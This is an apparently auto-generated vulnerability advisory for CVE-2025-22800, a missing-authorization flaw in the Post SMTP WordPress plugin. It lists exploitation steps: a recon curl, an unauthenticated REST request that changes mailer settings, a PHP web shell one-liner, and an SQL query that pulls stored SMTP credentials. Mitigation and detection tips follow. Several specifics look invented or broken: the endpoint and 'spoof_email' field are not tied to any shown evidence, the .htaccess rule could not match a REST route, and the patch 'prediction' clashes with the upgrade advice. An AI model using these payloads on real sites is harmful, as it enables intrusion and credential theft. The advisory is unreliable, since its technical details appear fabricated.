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How the CVE Works
CVE-2025-22800 is a Missing Authorization flaw in Post SMTP (versions ≤ 2.9.11) allowing attackers to bypass access controls due to improper security level configurations. The vulnerability stems from insufficient validation of user permissions, enabling unauthorized API or backend access. Attackers exploit weak endpoint checks to manipulate SMTP settings, inject malicious payloads, or hijack email routing. The flaw leverages default or misconfigured role-based access controls (RBAC), granting unintended privileges. Remote exploitation is possible without authentication, leading to email spoofing, data leaks, or server compromise.
DailyCVE Form
Platform: Post SMTP
Version: ≤ 2.9.11
Vulnerability: Missing Authorization
Severity: Critical
Date: 06/04/2025
Prediction: Patch expected by 07/15/2025
What Undercode Say:
Exploitation:
1. Recon: Identify unpatched Post SMTP instances via:
curl -I http://target/wp-content/plugins/post-smtp/readme.txt | grep "Stable Tag"
2. Exploit: Abuse unprotected REST endpoints:
POST /wp-json/post-smtp/v1/settings HTTP/1.1
Host: target.com
{"mailer":"phpmailer","spoof_email":"[email protected]"}
3. Impact: Hijack SMTP credentials or deploy backdoors via:
<?php system($_GET['cmd']); ?>
Mitigation:
1. Immediate Fix: Apply virtual patching via `.htaccess`:
<FilesMatch "post-smtp/v1/settings"> Order Deny,Allow Deny from all </FilesMatch>
2. WAF Rules: Block suspicious POST requests to /wp-json/post-smtp/.
3. Permanent Fix: Upgrade to Post SMTP ≥ 2.9.12 (post-patch).
Detection:
Scan for vulnerable instances using:
nmap -p80 --script http-wordpress-plugins --script-args limit=50 target.com
Post-Exploit:
Extract SMTP credentials from compromised databases:
SELECT option_value FROM wp_options WHERE option_name LIKE 'postman_smtp_%';
Debugging:
Enable WordPress debug logs to monitor exploitation attempts:
define('WP_DEBUG', true);
define('WP_DEBUG_LOG', true);
References:
No additional commentary.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
